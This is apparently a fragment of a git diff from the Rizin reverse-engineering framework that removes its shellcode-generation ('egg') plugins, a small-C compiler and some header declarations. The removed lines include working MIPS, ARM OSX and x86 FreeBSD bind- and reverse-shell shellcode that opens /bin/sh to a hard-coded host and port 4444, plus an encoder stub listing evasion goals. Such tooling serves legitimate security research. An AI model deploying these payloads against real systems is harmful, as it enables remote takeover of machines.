|
||||
"\x01\x01\x01\x0c" // syscall 0x40404
|
||||
|
||||
"\x24\x0f\xff\xfd" // li t7,-3
|
||||
"\x01\xe0\x28\x27" // nor a1,t7,zero
|
||||
"\x8f\xa4\xff\xff" // lw a0,-1(sp)
|
||||
// dup2_loop:
|
||||
"\x24\x02\x0f\xdf" // li v0,4063 ( sys_dup2 )
|
||||
"\x01\x01\x01\x0c" // syscall 0x40404
|
||||
"\x20\xa5\xff\xff" // addi a1,a1,-1
|
||||
"\x24\x01\xff\xff" // li at,-1
|
||||
"\x14\xa1\xff\xfb" // bne a1,at, dup2_loop
|
||||
|
||||
"\x28\x06\xff\xff" // slti a2,zero,-1
|
||||
"\x3c\x0f\x2f\x2f" // lui t7,0x2f2f
|
||||
"\x35\xef\x62\x69" // ori t7,t7,0x6269
|
||||
"\xaf\xaf\xff\xf4" // sw t7,-12(sp)
|
||||
"\x3c\x0e\x6e\x2f" // lui t6,0x6e2f
|
||||
"\x35\xce\x73\x68" // ori t6,t6,0x7368
|
||||
"\xaf\xae\xff\xf8" // sw t6,-8(sp)
|
||||
"\xaf\xa0\xff\xfc" // sw zero,-4(sp)
|
||||
"\x27\xa4\xff\xf4" // addiu a0,sp,-12
|
||||
"\x28\x05\xff\xff" // slti a1,zero,-1
|
||||
"\x24\x02\x0f\xab" // li v0,4011 ( sys_execve )
|
||||
"\x01\x01\x01\x0c"; // syscall 0x40404
|
||||
|
|
@ -1,87 +0,0 @@
|
|||
// SPDX-FileCopyrightText: 2013 pancake <pancake@nopcode.org>
|
||||
// SPDX-License-Identifier: LGPL-3.0-only
|
||||
|
||||
#include <rz_egg.h>
|
||||
|
||||
unsigned long armle_osx_reverse[] = {
|
||||
0xe3a00002, 0xe3a01001, 0xe3a02006, 0xe3a0c061, 0xef000080, 0xe1a0a000, 0xeb000001,
|
||||
0x5c110200, // # port 4444
|
||||
0x8700a8c0, // # host 192.168.0.135
|
||||
0xe1a0000a, 0xe1a0100e, 0xe3a02010, 0xe3a0c062, 0xef000080,
|
||||
0xe3a05002, 0xe3a0c05a, 0xe1a0000a, 0xe1a01005, 0xef000080,
|
||||
0xe2455001, 0xe3550000, 0xaafffff8, 0xe3a00000, 0xe3a01001,
|
||||
0xe3a0c07e, 0xef000080, 0xe0455005, 0xe1a0600d, 0xe24dd020,
|
||||
0xe28f0014, 0xe4860000, 0xe5865004, 0xe1a01006, 0xe3a02000,
|
||||
0xe3a0c03b, 0xef000080,
|
||||
// # /bin/sh
|
||||
0x6e69622f, 0x0068732f
|
||||
};
|
||||
|
||||
unsigned char x86_freebsd_reverse[] =
|
||||
"\xeb\x68\x5e\x31\xc0\x31\xdb\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x53\xb0\x61"
|
||||
"\xcd\x80\x89\xc2\xc6\x46\x01\x02\x66\xc7\x46\x02\x69\x7a\xb3\x10\x53\x8d\x1e"
|
||||
"\x53\x50\x50\xb0\x62\xcd\x80\x31\xdb\x53\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53"
|
||||
"\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53\x52\xb0\x5a\x50\xcd\x80\x31\xdb\x53\x8d"
|
||||
"\x7e\x0f\x31\xc0\x31\xc9\xb1\x09\xf3\xaa\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10"
|
||||
"\x51\x53\x50\xb0\x3b\xcd\x80\xb0\x01\xcd\x80\xe8\x93\xff\xff\xff\x41\x42\x43"
|
||||
"\x43\x7f\x00\x00\x01\x2f\x62\x69\x6e\x2f\x73\x68";
|
||||
|
||||
static RzBuffer *build(RzEgg *egg) {
|
||||
RzBuffer *buf = rz_buf_new_with_bytes(NULL, 0);
|
||||
const ut8 *sc = NULL;
|
||||
int cd = 0;
|
||||
char *port = rz_egg_option_get(egg, "port");
|
||||
// TODO: char *udp = rz_egg_option_get (egg, "udp");
|
||||
switch (egg->os) {
|
||||
case RZ_EGG_OS_OSX:
|
||||
case RZ_EGG_OS_DARWIN:
|
||||
switch (egg->arch) {
|
||||
case RZ_SYS_ARCH_ARM:
|
||||
sc = armle_osx_reverse;
|
||||
cd = 7 + 36;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case RZ_EGG_OS_FREEBSD:
|
||||
switch (egg->arch) {
|
||||
case RZ_SYS_ARCH_X86:
|
||||
switch (egg->bits) {
|
||||
case 32: sc = x86_freebsd_reverse; break;
|
||||
default: eprintf("Unsupportted\n");
|
||||
}
|
||||
break;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
eprintf("unsupported os %x\n", egg->os);
|
||||
break;
|
||||
}
|
||||
if (sc) {
|
||||
rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
|
||||
if (shell && *shell) {
|
||||
if (cd)
|
||||
rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
|
||||
else
|
||||
eprintf("Cannot set shell\n");
|
||||
}
|
||||
}
|
||||
free(suid);
|
||||
free(shell);
|
||||
return buf;
|
||||
}
|
||||
|
||||
// TODO: rename plugin to run
|
||||
RzEggPlugin rz_egg_plugin_bind = {
|
||||
.name = "bind",
|
||||
.type = RZ_EGG_PLUGIN_SHELLCODE,
|
||||
.desc = "listen port=4444",
|
||||
.build = (void *)build
|
||||
};
|
||||
|
||||
#ifndef RZ_PLUGIN_INCORE
|
||||
RZ_API RzLibStruct rizin_plugin = {
|
||||
.type = RZ_LIB_TYPE_EGG,
|
||||
.data = &rz_egg_plugin_bind,
|
||||
.version = RZ_VERSION
|
||||
};
|
||||
#endif
|
||||
|
|
@ -1,40 +0,0 @@
|
|||
// SPDX-FileCopyrightText: 2011 pancake <pancake@nopcode.org>
|
||||
// SPDX-License-Identifier: LGPL-3.0-only
|
||||
/* shoorisu yagana shellcode encoder */
|
||||
/* wishlist:
|
||||
- fork/setuid
|
||||
- polimorphic
|
||||
- mmap to skip w^x
|
||||
- avoid 00 or alphanumeric
|
||||
- random cipher algorithm
|
||||
- trash
|
||||
- antidisasm tricks
|
||||
- virtual machine
|
||||
*/
|
||||
|
||||
static RzBuffer *build(RzEgg *egg) {
|
||||
RzBuffer *buf = rz_buf_new_with_bytes(NULL, 0);
|
||||
char *key = rz_egg_option_get(egg, "key");
|
||||
char *seed = rz_egg_option_get(egg, "seed");
|
||||
eprintf("TODO: shoorisu yagana shellcode encoder\n");
|
||||
free(key);
|
||||
free(seed);
|
||||
return buf;
|
||||
}
|
||||
|
||||
RzEggPlugin rz_egg_plugin_shya = {
|
||||
.name = "shya",
|
||||
.type = RZ_EGG_PLUGIN_ENCODER,
|
||||
.desc = "shoorisu yagana",
|
||||
.build = (void *)build
|
||||
};
|
||||
|
||||
#if 0
|
||||
#ifndef RZ_PLUGIN_INCORE
|
||||
RZ_API RzLibStruct rizin_plugin = {
|
||||
.type = RZ_LIB_TYPE_EGG,
|
||||
.data = &rz_egg_plugin_shya,
|
||||
.version = RZ_VERSION
|
||||
};
|
||||
#endif
|
||||
#endif
|
||||
|
|
@ -1,236 +0,0 @@
|
|||
// SPDX-FileCopyrightText: 2016 pancake <pancake@nopcode.org>
|
||||
// SPDX-License-Identifier: LGPL-3.0-only
|
||||
|
||||
/* Radare Language Code Compiler */
|
||||
|
||||
#include <mpc.h>
|
||||
#define eprintf(x, y...) fprintf(stderr, x, ##y)
|
||||
|
||||
static int isComment(mpc_ast_t *node) {
|
||||
if (!strcmp(node->tag, "comment|regex")) {
|
||||
return 1;
|
||||
}
|
||||
if (!strcmp(node->tag, "linecomment|regex")) {
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int isInlineAssembly(mpc_ast_t *node) {
|
||||
if (!strcmp(node->tag, "asm|regex")) {
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int isStatement(mpc_ast_t *node) {
|
||||
if (!strcmp(node->tag, "stmt|>")) {
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int isSigdef(mpc_ast_t *node) {
|
||||
if (!strcmp(node->tag, "sigdef|>")) {
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int isProcedure(mpc_ast_t *node) {
|
||||
if (!strcmp(node->tag, "procedure|>")) {
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void processNode(mpc_ast_t *node) {
|
||||
if (isStatement(node)) {
|
||||
int i, narg = 0;
|
||||
const char *args[32];
|
||||
for (i = 0; i < node->children_num; i++) {
|
||||
const char *tag = node->children[i]->tag;
|
||||
const char *val = node->children[i]->contents;
|
||||
if (strcmp(tag, "char")) {
|
||||
printf("TAG (%s) = (%s)\n", tag, val);
|
||||
args[narg++] = val;
|
||||
}
|
||||
}
|
||||
printf("; CALL WITH %d ARGS\n", narg);
|
||||
} else if (isProcedure(node)) {
|
||||
int i, j;
|
||||
const char *name = node->children[0]->contents;
|
||||
printf("%s:\n", name);
|
||||
for (i = 0; i < node->children_num; i++) {
|
||||
if (!strcmp(node->children[i]->tag, "body|>")) {
|
||||
node = node->children[i];
|
||||
for (i = 0; i < node->children_num; i++) {
|
||||
if (!strcmp(node->children[i]->tag, "stmt|>")) {
|
||||
processNode(node->children[i]);
|
||||
} else {
|
||||
eprintf("UNK %s\n", node->children[i]->tag);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else if (isSigdef(node)) {
|
||||
if (node->children_num > 4) {
|
||||
const char *name = node->children[0]->contents;
|
||||
const char *type = node->children[2]->contents;
|
||||
const char *size = node->children[4]->contents;
|
||||
if (!strcmp(type, "alias")) {
|
||||
printf(".equ %s,%s\n", name, size);
|
||||
} else if (!strcmp(type, "syscall")) {
|
||||
printf("; TODO: register syscall %s number %s\n", name, size);
|
||||
} else if (!strcmp(type, "global")) {
|
||||
printf("; TODO: global \n");
|
||||
} else {
|
||||
printf("; UNKNOWN EXPRESISON: NAME = '%s' ", name);
|
||||
printf("TYPE = '%s' ", type);
|
||||
printf("SIZE = '%s'\n", size);
|
||||
}
|
||||
}
|
||||
} else if (isComment(node)) {
|
||||
char *s = rz_str_dup(node->contents + 2);
|
||||
int len = strlen(s);
|
||||
if (node->contents[1] == '*') {
|
||||
s[len - 2] = 0;
|
||||
}
|
||||
while (s) {
|
||||
char *nl = strchr(s, '\n');
|
||||
if (nl) {
|
||||
*nl = 0;
|
||||
printf("; %s\n", s);
|
||||
s = nl + 1;
|
||||
} else {
|
||||
printf("; %s\n", s);
|
||||
s = NULL;
|
||||
}
|
||||
}
|
||||
free(s);
|
||||
} else if (isInlineAssembly(node)) {
|
||||
printf("%s\n", node->contents + 1);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
mpc_parser_t *Ident = mpc_new("ident");
|
||||
mpc_parser_t *Number = mpc_new("number");
|
||||
mpc_parser_t *Character = mpc_new("character");
|
||||
mpc_parser_t *String = mpc_new("string");
|
||||
mpc_parser_t *Factor = mpc_new("factor");
|
||||
mpc_parser_t *Term = mpc_new("term");
|
||||
mpc_parser_t *Lexp = mpc_new("lexp");
|
||||
mpc_parser_t *Stmt = mpc_new("stmt");
|
||||
mpc_parser_t *Exp = mpc_new("exp");
|
||||
mpc_parser_t *Vartype = mpc_new("vartype");
|
||||
mpc_parser_t *Typeident = mpc_new("typeident");
|
||||
mpc_parser_t *Decls = mpc_new("decls");
|
||||
mpc_parser_t *Args = mpc_new("args");
|
||||
mpc_parser_t *Body = mpc_new("body");
|
||||
mpc_parser_t *Comment = mpc_new("comment");
|
||||
mpc_parser_t *Linecomment = mpc_new("linecomment");
|
||||
mpc_parser_t *Asm = mpc_new("asm");
|
||||
mpc_parser_t *Procedure = mpc_new("procedure");
|
||||
mpc_parser_t *CProcedure = mpc_new("cprocedure");
|
||||
mpc_parser_t *Sigdef = mpc_new("sigdef");
|
||||
mpc_parser_t *Sigbody = mpc_new("sigbody");
|
||||
mpc_parser_t *Includes = mpc_new("includes");
|
||||
mpc_parser_t *Smallc = mpc_new("smallc");
|
||||
|
||||
mpc_err_t *err = mpca_lang(MPCA_LANG_DEFAULT,
|
||||
" ident : /[a-zA-Z_][a-zA-Z0-9_]*/ ; \n"
|
||||
" number : /[0-9]+/ ; \n"
|
||||
" character : /'.'/ ; \n"
|
||||
" string : /\"(\\\\.|[^\"])*\"/ ; \n"
|
||||
" \n"
|
||||
" factor : '(' <lexp> ')' \n"
|
||||
" | <number> \n"
|
||||
" | <character> \n"
|
||||
" | <string> \n"
|
||||
" | <ident> '(' <lexp>? (',' <lexp>)* ')' \n"
|
||||
" | <ident> ; \n"
|
||||
" \n"
|
||||
" term : <factor> (('*' | '/' | '%') <factor>)* ; \n"
|
||||
" lexp : <term> (('+' | '-') <term>)* ; \n"
|
||||
" \n"
|
||||
" stmt : '{' <stmt>* '}' \n"
|
||||
" | \"while\" '(' <exp> ')' <stmt> \n"
|
||||
" | \"if\" '(' <exp> ')' <stmt> \n"
|
||||
" | <ident> '=' <lexp> ';' \n"
|
||||
" | \"print\" '(' <lexp>? ')' ';' \n"
|
||||
" | \"return\" <lexp>? ';' \n"
|
||||
" | <ident> '(' (<number>|<ident>|<string>)? (',' (<string>|<number>|<ident>))* ')' ';' ; \n"
|
||||
" \n"
|
||||
" exp : <lexp> '>' <lexp> \n"
|
||||
" | <lexp> '<' <lexp> \n"
|
||||
" | <lexp> \">=\" <lexp> \n"
|
||||
" | <lexp> \"<=\" <lexp> \n"
|
||||
" | <lexp> \"!=\" <lexp> \n"
|
||||
" | <lexp> \"==\" <lexp> ; \n"
|
||||
" \n"
|
||||
" vartype : (\"int\" | \"char\") ; \n"
|
||||
" typeident : <vartype> <ident> ; \n"
|
||||
" decls : (<typeident> ';')* ; \n"
|
||||
" args : <typeident>? (',' <typeident>)* ; \n"
|
||||
" body : '{' <decls> <stmt>* '}' ; \n"
|
||||
" comment : /\\/\\*([^\\*])*\\*\\// ; \n"
|
||||
" linecomment : /\\/\\/([^\\n])*/ ; \n"
|
||||
" asm : /\\:([^\\n])*/ ; \n"
|
||||
" procedure : <ident> '@' \"global\" '(' <number>? ')' <body> ; \n"
|
||||
" cprocedure : <vartype> <ident> '(' <args> ')' <body> ; \n"
|
||||
" sigdef : <ident> '@' <ident> '(' <number> ')' ';' ; \n"
|
||||
" sigbody : '@' <ident> '(' <number> ')' ';' ; \n"
|
||||
" includes : (\"#include\" <string>)* ; \n"
|
||||
" smallc : /^/ (<comment>|<asm>|<linecomment>|<sigdef>|<sigbody>|<procedure>|<cprocedure>)* <includes> <decls> /$/ ; \n",
|
||||
Ident, Number, Character, String, Factor, Term, Lexp, Stmt, Exp,
|
||||
Vartype, Typeident, Decls, Args, Body, Comment, Linecomment, Asm, Procedure, CProcedure,
|
||||
Sigdef, Sigbody, Includes, Smallc, NULL);
|
||||
|
||||
if (err != NULL) {
|
||||
mpc_err_print(err);
|
||||
mpc_err_delete(err);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#if 1
|
||||
if (argc > 1) {
|
||||
|
||||
mpc_result_t r;
|
||||
if (mpc_parse_contents(argv[1], Smallc, &r)) {
|
||||
mpc_ast_print_to(r.output, stderr);
|
||||
{
|
||||
int i;
|
||||
mpc_ast_t *root = r.output;
|
||||
for (i = 0; i < root->children_num; i++) {
|
||||
mpc_ast_t *node = root->children[i];
|
||||
eprintf("; TAG = %s (%s)\n", node->tag, node->contents);
|
||||
processNode(node);
|
||||
}
|
||||
}
|
||||
mpc_ast_delete(r.output);
|
||||
} else {
|
||||
mpc_err_print(r.error);
|
||||
mpc_err_delete(r.error);
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
mpc_result_t r;
|
||||
if (mpc_parse_pipe("<stdin>", stdin, Smallc, &r)) {
|
||||
mpc_ast_print(r.output);
|
||||
mpc_ast_delete(r.output);
|
||||
} else {
|
||||
mpc_err_print(r.error);
|
||||
mpc_err_delete(r.error);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
mpc_cleanup(17, Ident, Number, Character, String, Factor, Term, Lexp, Stmt, Exp,
|
||||
Vartype, Typeident, Decls, Args, Body, Comment, Procedure, CProcedure,
|
||||
Sigdef, Includes, Smallc);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -185,9 +185,9 @@ static inline int rz_egg_plugin_cmp(RZ_NULLABLE const RzEggPlugin *a, RZ_NULLABL
|
|||
}
|
||||
|
||||
#ifdef RZ_API
|
||||
|
||||
/* egg.c */
|
||||
RZ_API RzEgg *rz_egg_new(void);
|
||||
RZ_API void rz_egg_lang_init(RzEgg *egg);
|
||||
RZ_API void rz_egg_lang_free(RzEgg *egg);
|
||||
RZ_API const char *rz_egg_os_as_string(int os);
|
||||
RZ_API char *rz_egg_to_string(RzEgg *egg);
|
||||
RZ_API void rz_egg_free(RzEgg *egg);
|
||||
|
|
@ -199,7 +199,6 @@ RZ_API int rz_egg_include(RzEgg *egg, const char *file, int format);
|
|||
RZ_API void rz_egg_load(RzEgg *egg, const char *code, int format);
|
||||
RZ_API bool rz_egg_load_file(RzEgg *egg, const char *file);
|
||||
RZ_API void rz_egg_syscall(RzEgg *egg, const char *arg, ...) RZ_PRINTF_CHECK(2, 3);
|
||||
RZ_API void rz_egg_alloc(RzEgg *egg, int n);
|
||||
RZ_API void rz_egg_label(RzEgg *egg, const char *name);
|
||||
RZ_API int rz_egg_raw(RzEgg *egg, const ut8 *b, int len);
|
||||
RZ_API int rz_egg_encode(RZ_NONNULL RZ_BORROW RzEgg *egg, const char *name);
|
||||
|
|
@ -207,14 +206,12 @@ RZ_API int rz_egg_shellcode(RZ_NONNULL RZ_BORROW RzEgg *egg, const char *name);
|
|||
#define rz_egg_get_shellcodes(x) x->plugins
|
||||
RZ_API void rz_egg_option_set(RzEgg *egg, const char *k, const char *v);
|
||||
RZ_API char *rz_egg_option_get(RzEgg *egg, const char *k);
|
||||
RZ_API void rz_egg_if(RzEgg *egg, const char *reg, char cmp, int v);
|
||||
RZ_API void rz_egg_printf(RzEgg *egg, const char *fmt, ...) RZ_PRINTF_CHECK(2, 3);
|
||||
RZ_API int rz_egg_compile(RzEgg *egg);
|
||||
RZ_API int rz_egg_padding(RzEgg *egg, const char *pad);
|
||||
RZ_API bool rz_egg_assemble(RzEgg *egg);
|
||||
RZ_API bool rz_egg_assemble_asm(RzEgg *egg, char **asm_list);
|
||||
RZ_API bool rz_egg_pattern(RzEgg *egg, int size);
|
||||
// RZ_API int rz_egg_dump (RzEgg *egg, const char *file) { }
|
||||
RZ_API char *rz_egg_get_source(RzEgg *egg);
|
||||
RZ_API RzBuffer *rz_egg_get_bin(RzEgg *egg);
|
||||
RZ_API char *rz_egg_get_assembly(RzEgg *egg);
|
||||
|
|
@ -225,11 +222,13 @@ RZ_API int rz_egg_patch(RzEgg *egg, int off, const ut8 *b, int l);
|
|||
RZ_API bool rz_egg_patch_num(RzEgg *egg, int off, ut64 val, ut32 bits);
|
||||
RZ_API void rz_egg_finalize(RzEgg *egg);
|
||||
|
||||
/* rz_egg_Cfile.c */
|
||||
/* egg_c_compile.c */
|
||||
RZ_API RZ_OWN char *rz_egg_compile_c_source(RZ_NONNULL const char *source_file, RZ_NONNULL const char *arch, RZ_NONNULL const char *os, int bits, RZ_BORROW RZ_NONNULL RzPath *sys_path);
|
||||
|
||||
/* lang.c */
|
||||
RZ_API char *rz_egg_mkvar(RzEgg *egg, char *out, const char *_str, int delta);
|
||||
/* egg_lang.c */
|
||||
RZ_API void rz_egg_lang_init(RzEgg *egg);
|
||||
RZ_API void rz_egg_lang_free(RzEgg *egg);
|
||||
RZ_API char *rz_egg_lang_mkvar(RzEgg *egg, char *out, const char *_str, int delta);
|
||||
RZ_API int rz_egg_lang_parsechar(RzEgg *egg, char c);
|
||||
RZ_API void rz_egg_lang_include_path(RzEgg *egg, const char *path);
|
||||
RZ_API void rz_egg_lang_include_init(RzEgg *egg);
|
||||
|
|
|
|||
Loading…
Reference in a new issue